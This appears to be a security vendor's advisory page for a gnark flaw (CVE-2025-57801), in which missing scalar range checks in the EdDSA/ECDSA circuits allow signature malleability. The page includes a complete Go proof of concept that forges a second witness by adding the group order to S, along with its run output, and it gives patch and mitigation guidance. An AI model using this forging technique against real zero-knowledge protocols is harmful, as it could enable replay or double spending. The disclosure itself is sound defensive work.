Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-95v9-hv42-pwrj

CRITICAL

gnark is vulnerable to signature malleability in EdDSA and ECDSA due to missing scalar checks

Also known asCVE-2025-57801GO-2025-3912
Published
Aug 22, 2025
Updated
Feb 3, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk10th percentile+0.13%
0.00%0.23%0.47%0.70%0.0%0.2%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/consensys/gnark

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

In version before, sig.s used without asserting 0 ≤ S < order in Verify function in eddsa.go and ecdsa.go, which will lead to signature malleability vulnerability.

Impact

Since gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay checks are derived from (R, S), this enables signature malleability and may lead to double spending.

Exploitation

package main

import (
	"crypto/rand"
	"fmt"
	"math/big"

	"github.com/consensys/gnark-crypto/ecc"
	mimcHash "github.com/consensys/gnark-crypto/ecc/bn254/fr/mimc"
	eddsaCrypto "github.com/consensys/gnark-crypto/ecc/bn254/twistededwards/eddsa"

	"github.com/consensys/gnark/backend/groth16"
	"github.com/consensys/gnark/frontend"
	"github.com/consensys/gnark/frontend/cs/r1cs"
	"github.com/consensys/gnark/std/algebra/native/twistededwards"
	stdMimc "github.com/consensys/gnark/std/hash/mimc"
	stdEddsa "github.com/consensys/gnark/std/signature/eddsa"

	te "github.com/consensys/gnark-crypto/ecc/twistededwards"
)

// Circuit
type eddsaCircuit struct {
	Msg frontend.Variable  `gnark:",public"`
	Pk  stdEddsa.PublicKey `gnark:",public"`
	Sig stdEddsa.Signature
}

func (c *eddsaCircuit) Define(api frontend.API) error {
	curve, _ := twistededwards.NewEdCurve(api, te.BN254)
	hasher, _ := stdMimc.NewMiMC(api)
	stdEddsa.Verify(curve, c.Sig, c.Msg, c.Pk, &hasher)
	return nil
}

func groupOrder() *big.Int {
	// BN254 scalar field order (r)
	const rStr = "21888242871839275222246405745257275088548364400416034343698204186575808495617"
	n, _ := new(big.Int).SetString(rStr, 10)
	return n
}

// Forge signature: S → S + order
func forge(sig eddsaCrypto.Signature) eddsaCrypto.Signature {
	order := groupOrder()

	var forged eddsaCrypto.Signature
	forged.R = sig.R

	s := new(big.Int).SetBytes(sig.S[:])
	s.Add(s, order)

	buf := make([]byte, 32)
	copy(buf[32-len(s.Bytes()):], s.Bytes())
	copy(forged.S[:], buf)
	return forged
}

func main() {
	// Generate key pair
	priv, _ := eddsaCrypto.GenerateKey(rand.Reader)
	pub := priv.PublicKey
	msg := []byte("multi-witness")

	// Create honest signature
	h := mimcHash.NewMiMC()
	h.Write(msg)
	rawSig, _ := priv.Sign(msg, h)

	var honest eddsaCrypto.Signature
	honest.SetBytes(rawSig)
	forged := forge(honest) // S + order

	// Setup: Compile circuit and do trusted setup
	circuit := &eddsaCircuit{}
	ccs, err := frontend.Compile(ecc.BN254.ScalarField(), r1cs.NewBuilder, circuit)
	if err != nil {
		fmt.Printf("Circuit compilation failed: %v\n", err)
		return
	}

	pk, vk, err := groth16.Setup(ccs)
	if err != nil {
		fmt.Printf("Trusted setup failed: %v\n", err)
		return
	}

	// Public inputs (same for both witnesses)
	var public eddsaCircuit
	public.Msg = new(big.Int).SetBytes(msg)
	public.Pk.Assign(te.BN254, pub.Bytes())

	// witness 1: honest signature
	w1 := public
	w1.Sig.Assign(te.BN254, honest.Bytes())

	witness1, err := frontend.NewWitness(&w1, ecc.BN254.ScalarField())
	if err != nil {
		fmt.Printf("Failed to create witness1: %v\n", err)
		return
	}

	proof1, err := groth16.Prove(ccs, pk, witness1)
	if err != nil {
		fmt.Println("Witness 1 (honest): Prover failed!")
	} else {
		publicWitness1, err := witness1.Public()
		if err != nil {
			fmt.Println("Witness 1 (honest): Prover failed!")
		} else {
			err = groth16.Verify(proof1, vk, publicWitness1)
			if err != nil {
				fmt.Println("Witness 1 (honest): Prover failed!")
			} else {
				fmt.Println("Witness 1 (honest): Prover succeeded!")
			}
		}
	}

	// witness 2: forged signature
	w2 := public
	w2.Sig.Assign(te.BN254, forged.Bytes())
	fmt.Println(honest.R.Equal(&forged.R))
	fmt.Println(honest.S != forged.S)

	witness2, err := frontend.NewWitness(&w2, ecc.BN254.ScalarField())
	if err != nil {
		fmt.Printf("Failed to create witness2: %v\n", err)
		return
	}

	proof2, err := groth16.Prove(ccs, pk, witness2)
	if err != nil {
		fmt.Println("Witness 2 (forged): Prover failed!")
	} else {
		publicWitness2, err := witness2.Public()
		if err != nil {
			fmt.Println("Witness 2 (forged): Prover failed!")
		} else {
			err = groth16.Verify(proof2, vk, publicWitness2)
			if err != nil {
				fmt.Println("Witness 2 (forged): Prover failed!")
			} else {
				fmt.Println("Witness 2 (forged): Prover succeeded!")
			}
		}
	}
}

Result

go run multiple_witnesses.go

13:47:33 INF compiling circuit
13:47:33 INF parsed circuit inputs nbPublic=3 nbSecret=3
13:47:33 INF building constraint builder nbConstraints=7003
13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.696334
13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=44.164208
13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.983583
Witness 1 (honest): Prover succeeded!
true
true
13:47:33 DBG constraint system solver done nbConstraints=7003 took=2.59125
13:47:33 DBG prover done acceleration=none backend=groth16 curve=bn254 nbConstraints=7003 took=47.168709
13:47:33 DBG verifier done backend=groth16 curve=bn254 took=0.995833
Witness 2 (forged): Prover succeeded!

Credits

XlabAI Team of Tencent Xuanwu Lab

Atuin Automated Vulnerability Discovery Engine

SJTU Group of Software Security In Progress

Prof. Yu Yu's Lab at SJTU

Additional mitigation

The initial patch added check for s <= curve order, omitting the case s == curve order. Even though the case is unlikely to be exploitable (requires finding a preimage for H(R || A || M)), then it is additionally fixed in https://github.com/Consensys/gnark/pull/1684 (commit https://github.com/Consensys/gnark/commit/69638c5f14b77ae0ebee23e1d8f64f3bb4e22fd5 on master). Thanks for additional reporting by https://github.com/kexinoh.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/consensys/gnarkall versions0.14.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/consensys/gnark. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/consensys/gnark to 0.14.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-95v9-hv42-pwrj is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-95v9-hv42-pwrj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-95v9-hv42-pwrj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

In version before, `sig.s` used without asserting `0 ≤ S < order` in `Verify function` in [eddsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/eddsa/eddsa.go) and [ecdsa.go](https://github.com/Consensys/gnark/blob/d9a42397979b05f95f21a601fd219b06a8d60b7b/std/signature/ecdsa/ecdsa.go), which will lead to *signature malleability* vulnerability. ### Impact Since gnark’s native EdDSA and ECDSA circuits lack essential constraints, multiple distinct witnesses can satisfy the same public inputs. In protocols where nullifiers or anti-replay che
O3 Security · Impact-Aware SCA

Is GHSA-95v9-hv42-pwrj in your dependencies?

O3 detects GHSA-95v9-hv42-pwrj across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.